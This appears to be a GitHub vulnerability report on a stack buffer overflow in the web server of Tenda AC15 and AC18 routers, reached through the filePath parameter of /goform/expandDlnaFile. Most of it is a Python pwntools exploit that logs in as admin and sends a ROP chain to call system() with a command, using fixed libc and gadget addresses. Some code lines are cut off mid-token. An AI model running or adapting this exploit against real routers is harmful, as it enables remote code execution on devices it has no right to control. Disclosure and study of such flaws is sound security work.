1160300418 2 vuls found in Tenda History

1 contributor

68 lines (49 sloc) | 2.11 KB

Vendor of the products: Tenda

Reported by: x.sunzh@gmail.com

Affected products: AC15 V15.03.05.19_multi, AC18 V15.03.05.19_multi

Overview

An issue was discovered on Tenda AC15 V15.03.05.19_multi and AC18 V15.03.05.19_multi devices. There is a buffer overflow vulnerability in the router's web server – httpd. While processing the **/goform/expandDlnaFile** filePath parameter for a post request, the value is directly used in a *sprintf* function and passed to a local variable placed on the stack, which can override the return address of the function. The attackers can construct a payload to carry out arbitrary code attacks.

Exp

```
import requests
from urllib import parse
from pwn import *

main_url = "http://127.0.0.1:80"
```

```python
def login_success():
    global password
    url = main_url + "/login/Auth"
    s = requests.Session()
    s.verify = False
    headers = {'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}
    data = {"username": "admin", "password": "ce80adc6ed1ab2b7f2c85b5fdcd8babc"}
    data = parse.urlencode(data)

    response = requests.post(url=url, headers=headers, data=data, allow_redirects=Fa
    password = response.cookies.get_dict().get("password")
    print(response)
    if password is None:
        login_success()
    else:
        print(password)

def poc():
    url = main_url + "/goform/expandDlnaFile"

    cmd = b'echo yab....'
    libc_base = 0x40202000
    system_offset = 0x0005a270
    system_addr = libc_base + system_offset
    gadget1 = libc_base + 0x00018298
    gadget2 = libc_base + 0x00040cb8

    headers = {'Cookie': 'password=' + password}
    data = b'filePath='+ b'A' * (1074) + p32(gadget1) + p32(system_addr) + p32(gadge
    data = data.decode('latin1')
    print(len(data))
    response = requests.post(url=url, headers=headers, data=data, allow_redirects=Fa
    print(response)


if __name__ == "__main__":
    login_success()
    poc()
```

Vul Details

Code in httpd

```
40  v20 = 0;
41  i = 0;
42  v18 = (const char *)sub_2BA8C((int)a1, (int)"filePath", (int)&unk_F3A58);
43  v17 = sub_2BA8C((int)a1, (int)"folderGrade", (int)&unk_F3A58);
44  GetValue((int)"dlna.db", (int)v6);
45  sprintf(v8, "%s/%s", "/var/etc/upan", v18);
46  for ( i = v8; ; ++i )
47  {
48    i = strchr(i, 47);
49    if ( !i )
```

Attack effect